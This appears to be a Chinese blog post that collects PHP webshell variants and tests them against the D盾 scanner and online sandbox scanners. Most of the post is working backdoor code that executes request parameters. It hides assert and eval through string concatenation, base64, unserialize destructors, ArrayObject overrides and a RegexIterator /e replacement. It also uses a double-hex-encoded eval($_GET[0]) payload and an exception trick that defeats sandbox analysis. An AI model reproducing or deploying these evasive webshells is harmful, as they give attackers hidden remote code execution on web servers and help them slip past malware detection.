0x00 前言
做一下记录,主要是无意间有看到了,又想起来之前的看的php
的源码
0x01 正文
借鉴
先看几个别人发过的绕过D
盾的,这只是本地扫描,用的是2.1.6.4
版本
create_function
1 2 3 4 5 6
| if($_GET['a']) { $S=[[],[],[],$_GET['b']]; $cr=$_GET['a']."reate_function"; $x[]=["admin"=>$cr("",$S[3])]; $v[]=["Guest"=>$x[0]['admin']()]; }
|
assert
第一个很简单,就是通过获取当前方法名来拼接的
1 2 3 4 5 6
| function a($_X){ $x = __METHOD__.base64_decode("c3NlcnQ="); class x{} $x($_X); } a($_POST[1]);
|
第二个通过从变量中获取参数动态调用的
1 2
| $a = get_defined_functions(); $a['internal'][array_search('assert',$a['internal'])]($_GET[0]);
|
通过反序列化的方式,当然还是拼接的assert
1 2 3 4 5 6 7 8 9 10 11 12 13
| class A{ public $name0 = "ass"; public $name1 = "ert"; public $male;
function __destruct(){ $vbc = $this->name0.$this->name1; $vbc($this->male); } }
unserialize($_POST['un']);
|
双传参
这个根据原文说,主要是var_dump可以消除报的1级,但是我下的这个版本,带不带都不报
1 2 3 4 5 6 7 8 9 10 11 12
| function md5s($DAwRsFQrFQTVA){ return $DAwRsFQrFQTVA; } $AbWdTvGTs=$_GET['a']; $YcQdGwTvSqg=$_GET['b']; if(isset($AbWdTvGTs)&&isset($YcQdGwTvSqg)){ $gvWeSFfWRvDaqerSDgW=[[],[],[],$a[][]=$AbWdTvGTs]; \var_dump($gvWeSFfWRvDaqerSDgW); $b[]=$YcQdGwTvSqg; $cQSS=md5s($gvWeSFfWRvDaqerSDgW[3]); $cQSS($b[0]); }
|
测试
上面基本都是动态调用的,然也是可以的
这里测试还是想使用eval进行
然后测试发现,单纯的eval并不会认为这是shell比如eval();
但是当存在参数时就会报1级

同样的后续测试发现eval($a->b())
这种调用也是1级

直接构造
1 2 3 4 5 6 7
| class A{ public function c(){ return hex2bin(hex2bin('32663261363136343733363432613266363537363631366332383234356634373435353435623330356432393362')); } } $a = new A; eval($a->c());
|
发现这就过了吗,确实有点狗

那这个样子就有很多形式了,根本也就用不到之前底层那点东西
也可以如下
1 2
| $e = new Exception(hex2bin(hex2bin('32663261363136343733363432613266363537363631366332383234356634373435353435623330356432393362'))); eval($e->getMessage());
|
或者之前说到的底层的调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| class A extends ArrayObject { private static $a;
public function offsetSet($key,$value){ self::$a = $value; }
public function test(){ return self::$a; } } $a = new A(); $a->append($_GET[0]); eval($a->test())
|
在线查杀
那还是看看在线查杀吧,在线查杀类似沙盒运行,不是真正的webshell引擎,不然过不了
关键点就是报错,或者污染点的问题
我们可以根据上面的payload
构造报错
1 2 3 4 5 6 7 8 9 10 11
| class A{ public function c(){ return hex2bin(hex2bin('32663261363136343733363432613266363537363631366332383234356634373435353435623330356432393362')); } } $a = new A; if($_GET[2]){ $a->aaa(); } $_GET[0] = 'phpinfo();'; eval($a->c());
|
测试网站
会发现直接就查不到了,因为会在调用$a->aaa()
的时候抛出异常而中止

这点应该也挺简单的,当然真正的没有这么简单
P师傅的
还有就是P师傅的正则系列
1 2 3
| $i = new RegexIterator(new ArrayIterator($_REQUEST[2333]), '/.*/e', RegexIterator::REPLACE); $i->replacement = '$0'; foreach ($i as $a) {}
|
在之前,估计整个迭代器都可以,因为根据之前看代码的时候,整个迭代器在,foreach的时候,都会触发一些函数或者操作
而webshell杀不到的原因,也是在对象强转数组过程发生了错误
本质还是错误
就不一一列举了
0x02 end
没啥实际意义,随便看看